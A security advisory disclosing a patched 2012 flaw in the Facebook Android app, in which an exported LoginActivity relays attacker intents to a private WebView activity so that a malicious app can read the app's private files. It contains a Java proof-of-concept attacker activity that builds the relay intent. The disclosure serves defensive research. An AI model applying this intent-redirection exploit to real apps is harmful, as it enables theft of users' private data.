Title: Facebook for Android - Information Diclosure Vulnerability
Affected Software: Facebook Application 1.8.1 for Android
(Confirmed on Android 2.2)
Credit: Takeshi Terada
Issue Status: v1.8.2 was released which fixes this vulnerability
Overview:
The LoginActivity of Facebook app has improper intent handling flaw.
The flaw enables malicious apps to steal Facebook app's private files.
Details:
LoginActivity of Facebook app is "exported" to other apps. When
the activity is called and the user is logged-in to Facebook, the
activity pulls out an intent named "continuation_intent" from the
extra data of the incoming intent. Then LoginActivity launches
another activity by using continuation_intent.
This behavior is dangerous because the actions described in the
intent (continuation_intent) given by other apps is performed
in the context (permission and identity) of Facebook app.
This enables attacker's apps to call (and attack) Facebook app's
private (not "exported") activities, by using LoginActivity as a
stepping-stone.
[Example of attack targeting FacebookWebViewActivity]
FacebookWebViewActivity reads an URL string from incoming intent's
extra data, and loads the URL into its JavaScript-enabled WebView.
FacebookWebViewActivity itself is not "exported" to other apps,
so attacker's app cannot directy call it. But attacker's app can
leverage the LoginActivity's flaw to relay a malicious intent to
FacebookWebViewActivity, so that the activity loads an attacker-
supplied URL into its WebView.
In general, when an URL beginning with "file:///" is loaded in a
WebView, the loaded page works in "Local Zone". "Local Zone" means
that JavaScript in the page can read other local files, to which the
WebView's owner process has read permission. XHR or so can be used
to read other local files. Thus the victim app's private files are
to be disclosed to the attacker, if the attacker's app succeeds to
inject an URL of attacker-supplied local HTML file into the victim
app's WebView.
By using the method described above, attacker's app can get Facebook
app's private files such as files under /data/data/com.facebook.katana/
directory.
For more specific information, see the PoC code.
Proof of Concept:
++++++ Attacker's app (activity) ++++++
// notice: for a successful attack, the victim user must be logged-in
// to Facebook in advance.
public class AttackFacebook extends Activity {
// package name of Facebook app
static final String FB_PKG = "com.facebook.katana";
// LoginActivity of Facebook app
static final String FB_LOGIN_ACTIVITY
= FB_PKG + ".LoginActivity";
// FacebookWebViewActivity of Facebook app
static final String FB_WEBVIEW_ACTIVITY
= FB_PKG + ".view.FacebookWebViewActivity";
@Override
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
attack();
}
// main method
public void attack() {
// create continuation_intent to call FacebookWebViewActivity.
Intent contIntent = new Intent();
contIntent.setClassName(FB_PKG, FB_WEBVIEW_ACTIVITY);
// URL pointing to malicious local file.
// FacebookWebViewActivity will load this URL into its WebView.
contIntent.putExtra("url", "file:///sdcard/attack.html");
// create intent to be sent to LoginActivity.
Intent intent = new Intent();
intent.setClassName(FB_PKG, FB_LOGIN_ACTIVITY);
intent.putExtra("login_redirect", false);
// put continuation_intent into extra data of the intent.
intent.putExtra(FB_PKG + ".continuation_intent", contIntent);
// call LoginActivity
this.startActivity(intent);
}
}
++++++ Attacker's HTML/JavaScript file ++++++
attack.html
Note:
1. Android framework provides "PendingIntent" mechanism to safely
perform the actions of an intent given by untrusted apps.
In some situations, it can be a good measure for this kind of vulns.
2. Security of WebViews was improved in Android 4.1, so that attacks
abusing WebViews may not work in apps built for recent versions
of Android.
3. The issue in this advisory was fixed almost a year ago. But I think
the issue is quite unique and is interesting for Android security
researchers, so I decided to disclose this old issue here.
Timeline:
2012/01/21 Reported to vender
2012/02/02 Vender released fixed version (v1.8.2)
2013/01/07 Disclosure of this advisory
Recommendation:
Upgrade to the latest version.